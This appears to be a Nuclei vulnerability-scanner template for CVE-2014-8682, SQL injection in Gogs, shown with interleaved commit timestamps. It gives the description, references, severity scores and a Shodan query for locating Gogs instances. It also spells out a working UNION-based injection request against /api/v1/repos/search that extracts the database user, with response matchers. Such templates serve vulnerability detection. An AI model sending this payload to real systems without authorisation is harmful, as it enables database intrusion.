2021-11-20 11:54:58 +00:00
id : CVE-2014-8682
info :
2022-04-29 19:58:07 +00:00
name : Gogs (Go Git Service) - SQL Injection
2022-04-17 06:30:44 +00:00
author : dhiyaneshDK,daffainfo
2023-07-11 19:49:27 +00:00
severity : high
2021-11-21 09:23:15 +00:00
description : Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go.
2023-09-06 13:22:34 +00:00
remediation : |
Apply the latest security patches and updates provided by the Gogs project to mitigate the SQL Injection vulnerability.
2021-11-20 11:56:31 +00:00
reference :
2022-02-25 22:07:55 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2014-8682
2021-11-20 11:56:31 +00:00
- http://seclists.org/fulldisclosure/2014/Nov/33
- http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html
- https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d
2022-05-17 09:18:12 +00:00
- https://www.exploit-db.com/exploits/35238
2021-11-20 11:56:31 +00:00
- https://exchange.xforce.ibmcloud.com/vulnerabilities/98694
2022-02-01 21:52:18 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score : 7.5
2022-02-01 21:52:18 +00:00
cve-id : CVE-2014-8682
cwe-id : CWE-89
2023-07-11 19:49:27 +00:00
epss-score : 0.00808
2023-12-12 11:07:52 +00:00
epss-percentile : 0.79761
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:gogits:gogs:*:*:*:*:*:*:*:*
2021-11-21 09:23:15 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : gogits
product : gogs
2023-09-06 13:22:34 +00:00
shodan-query : title:"Sign In - Gogs"
2023-12-05 09:50:33 +00:00
tags : gogs,seclists,packetstorm,edb,cve,cve2014,sqli,gogits
2021-11-20 11:54:58 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-20 11:54:58 +00:00
- method : GET
path :
- '{{BaseURL}}/api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27'
matchers-condition : and
matchers :
- type : word
2022-04-17 06:30:44 +00:00
part : body
2021-11-20 11:54:58 +00:00
words :
- '"ok":true'
- '"data"'
2022-04-17 06:30:44 +00:00
- '"repolink":"'
2021-11-27 18:38:05 +00:00
condition : and
2021-11-21 09:23:15 +00:00
2021-11-20 11:54:58 +00:00
- type : status
status :
- 200
2023-12-12 12:02:03 +00:00
# digest: 490a0046304402201655c02c331faab4f12e7bac5ef9a6b88fbcadfebfbcb1a647638f1461166b96022024a6533fcb4f3508f13eec4c0cf09806fa824c77068c45924bf29ace7320b600:922c64590222798bb761d5b6d8e72950